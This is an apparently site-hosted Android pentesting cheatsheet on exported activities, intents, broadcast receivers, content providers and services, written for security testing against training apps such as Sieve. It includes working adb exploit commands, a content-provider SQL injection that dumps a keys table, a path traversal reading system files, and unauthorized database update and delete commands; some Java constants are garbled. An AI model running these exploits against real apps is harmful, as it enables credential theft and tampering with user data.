Android Application Components Security Cheatsheet

Activities

Definition: Activities define screens with which users can interact. They can be exported using android:exported="true" or implicitly via intent-filters.

Testing:

  1. Check AndroidManifest.xml for android:exported="true".

  2. Look for intent-filters indicating implicit export.

  3. Search for sensitive actions or data handled by the activity.

  • Example AndroidManifest.xml:

    <activity android:exported="true" android:name=".FileSelectActivity" />

Exploit POC:

  1. ADB Commands:

    am start -n <package>/<activity-name>
am start -n com.mwr.example.sieve/.FileSelectActivity

  2. Java Code:

    Intent intent = new Intent();
intent.setComponent(new ComponentName("com.mwr.example.sieve", ".PWList"));
startActivity(intent);

Intents

Definition:

Intents are messages used to request an action from another app component, such as starting an activity, service, or broadcasting a message. Vulnerabilities arise when exported components handle malicious or unvalidated intents.

Testing:

  1. Review AndroidManifest.xml for exported components with intent-filters.

    • Check for android:exported="true".

    • Look for <intent-filter> entries specifying action or category.

  2. Search for intent-handling code using Intent intent = getIntent().

  3. Verify whether the component validates the received intent's data or extras.

Exploit:

  1. Triggering with ADB: Use am start to deliver a crafted intent.

    am start -a <action> --es <key> <value>

    Example:

    am start -a com.apphacking.changePin --es "username" "user"

    Optionally include the category:

    am start -a com.apphacking.changePin -c android.intent.category.DEFAULT --es "username" "user"

  2. Crafting Intents in Java:

    javaCopy codeIntent intent = new Intent();
intent.setAction("com.apphacking.changePin");
intent.putExtra("username", "user");
context.startActivity(intent);

  3. Example AndroidManifest.xml:

    <activity android:name=".ChangePin" android:exported="true">
    <intent-filter>
        <action android:name="com.apphacking.changePin" />
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
</activity>

  4. Example Vulnerable Code:

    public void changeSettings(View view) {
    Intent intent = new Intent(this, ChangePin.class);
    intent.putExtra("username", username);
    startActivity(intent);
}

    If the ChangePin activity is exported, it could be triggered by a malicious intent with arbitrary username.

BroadcastReceivers

Definition: BroadcastReceivers respond to broadcast intents, such as system events or app-specific messages. If exported, they might allow malicious intent delivery.

Testing:

  1. Review AndroidManifest.xml for android:exported="true".

  2. Inspect the onReceive method for sensitive data or actions.

  3. Search for dynamically registered receivers in code using registerReceiver().

  • Example AndroidManifest.xml:

    <receiver android:exported="true" android:name=".myBroadcastReceiver">
    <intent-filter>
        <action android:name="com.apphacking.broadcastreceiver.alarmState" />
    </intent-filter>
</receiver>

Exploit POC:

  1. ADB Commands:

    am broadcast -a <action-name> --es <key> <value>
am broadcast -a com.apphacking.broadcastreceiver.alarmState --es "status" "arm"

  2. Java Code:

    @Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    txtView = findViewById(R.id.textView);
    imageView = findViewById(R.id.imageView);

    registerReceiver(alarmSystemReceiver, new IntentFilter("com.apphacking.broadcastreceiver.alarmState"));
}

private BroadcastReceiver alarmSystemReceiver = new BroadcastReceiver() {
    @Override
    public void onReceive(Context context, Intent intent) {
        String alarmState = "";

        alarmState = intent.getStringExtra("status"); // status

        if (alarmState.equals("arm")) {
            // activate the alarm system
            txtView.setText("armed");
            imageView.setImageResource(R.drawable.lockclosed);
            Log.d("Alarm-State", "Alarm system armed!");
            return;
        }

        if (alarmState.equals("disarm")) {
            // deactivate the alarm system
            txtView.setText("disarmed");
            imageView.setImageResource(R.drawable.lockopen);
            Log.d("Alarm-State", "Alarm system disarmed!");
        }
    }
};

ContentProviders

Definition: ContentProviders handle structured data sharing between applications. They are vulnerable to SQL Injection or Path Traversal if insecurely implemented.

Testing:

  1. Check AndroidManifest.xml for android:exported="true".

  2. Review query, insert, update, and delete methods for sanitization.

  3. Inspect URI handling logic for traversal issues.

  • Example AndroidManifest.xml:

    <provider android:exported="true" android:name=".MyContentProvider" />

Exploit POC:

  1. SQL Injection:

    content query --uri content://<authority>/Passwords --projection "* FROM Key--"

  2. Path Traversal:

    content read --uri content://<authority>/../../../../etc/hosts

  3. Example Java Code:

    @Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
    return db.query("table", projection, selection, selectionArgs, null, null, sortOrder);
}

Services

Definition: Services run background operations. Exported services can expose sensitive operations to external triggers.

Testing:

  1. Check AndroidManifest.xml for android:exported="true".

  2. Review service methods for sensitive actions triggered by incoming intents.

  • Example AndroidManifest.xml:

    <service android:exported="true" android:name=".SensitiveService" />

Exploit POC:

  1. ADB Commands:

    am startservice -n <package>/<service-name>
am startservice -n com.example.app/.SensitiveService

ContentProvider

Definition: ContentProviders manage access to a structured set of app data. They are designed for inter-app data sharing. Vulnerabilities arise if exported providers allow unauthorized access, SQL injection, or path traversal attacks.

Testing

  1. Check AndroidManifest.xml:

    • Look for android:exported="true".

    • Verify permissions, especially protectionLevel values (e.g., dangerous or signature). Example:

    <provider android:name=".MyContentProvider"
          android:authorities="com.example.app.provider"
          android:exported="true" />

  2. Analyze Methods in Java Code:

    • Inspect query, insert, update, and delete for proper input sanitization.

    • Check file-handling methods like openFile() for unvalidated URIs. Example Vulnerable Code:

    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
    return db.query("table", projection, selection, selectionArgs, null, null, sortOrder);
}

  3. Identify Table Names:

    • Search for content:// references in code to locate tables exposed via the ContentProvider. Example:

    public static final Uri KEYS_URI = Uri.parse("content://com.example.provider/Keys");
public static final Uri PASSWORDS_URI = Uri.parse("content://com.example.provider/Passwords");

Exploitation POC

1. SQL Injection

If the query() method does not sanitize inputs, SQL queries can be manipulated.

  • Vulnerable Code

@Override // android.content.ContentProvider
public Cursor query(Uri in, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
    int type = this.sUriMatcher.match(in);
    SQLiteQueryBuilder queryBuilder = new SQLiteQueryBuilder();
    if (type >= 100 && type < 200) {
        queryBuilder.setTables (PWTable.TABLE_NAME);
    } else if (type >= 200) {
        queryBuilder.setTables (PWTable.KEY_TABLE_NAME);
    } 
    return queryBuilder.query(this.pwdb.getReadableDatabase(), projection, selection, selectionArgs, null, null, sortOrder);
}

  • The SQL syntax will be generated out of these parameters as follow:

query (
    Uri,
    projection,
    selection,
    selectionArgs,
    sortOrder
    content://com.example.app/news
    payload
    null,
    null,
    null
)
SELECT projection FROM Uri WHERE selection=selectionArgs ORDER BY sortOrder;

  • Now we need to identify the tables in the Java code. We can look for the keyword “content://“.

// Source: DBContentProvider - Sieve.apk
public static final int KEY = 200;
public static final Uri KEYS_URI = Uri.parse("content://com.mwr.example.sieve.DBContentProvider/Keys");
public static final int KEY ID = 230;
public static final int KEY PASSWORD = 210;
public static final int KEY PIN = 220;
public static final int PASSWORDS 100;
public static final int PASSWORDS EMAIL = 140;
public static final int PASSWORDS ID = 110;
public static final int PASSWORDS PASSWORD 150;
public static final int PASSWORDS SERVICE 120;
public static final Uri PASSWORDS_URI = Uri.parse("content://com.mwr.example.sieve.DBContentProvider/Passwords");

The actual table names might be different, we have to track this in the code because within the SQL injection attack, we have to use the correct table names and not the authority names.

  • Example SQL Query Structure:

    SELECT projection FROM Uri WHERE selection=selectionArgs ORDER BY sortOrder;

  • Exploit via ADB:

    content query --uri content://<authority>/Passwords --projection "* FROM Key--"

  • Example SQL Injection Command:

    content query --uri content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "* FROM Key--"

2. Path Traversal

Improper URI validation in methods like openFile() allows arbitrary file access.

  • AndroidManifest.xml

<provider
android:name=".MusicFileProvider"
android:authorities="com.apphacking.musicplayer"
android:enabled="true"
android:exported="true"></provider>

  • Vulnerable Code Example:

    @Override
public ParcelFileDescriptor openFile(Uri uri, String mode) {
    File file = new File(uri.getPath());
    return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}

  • Exploit Path Traversal via ADB:

    content read --uri content://<authority>/../../../../etc/hosts

  • Example Path Traversal Command:

    content read --uri content://com.apphacking.musicplayer/../../../../../../etc/hosts

3. Manipulating Database

Bypassing permissions or exploiting exported providers enables unauthorized data manipulation.

  • Example Commands: Select Data:

    content query --uri content://<authority>/users

    Insert Data:

    content insert --uri content://<authority>/users --bind name:s:admin

    Update Data:

    content update --uri content://<authority>/users --bind name:s:hacker --where "name='admin'"

    Delete Data:

    content delete --uri content://<authority>/users --where "name='admin'"
PreviousPending IntentsNextAPK Pentesting Checklist

Last updated

Was this helpful?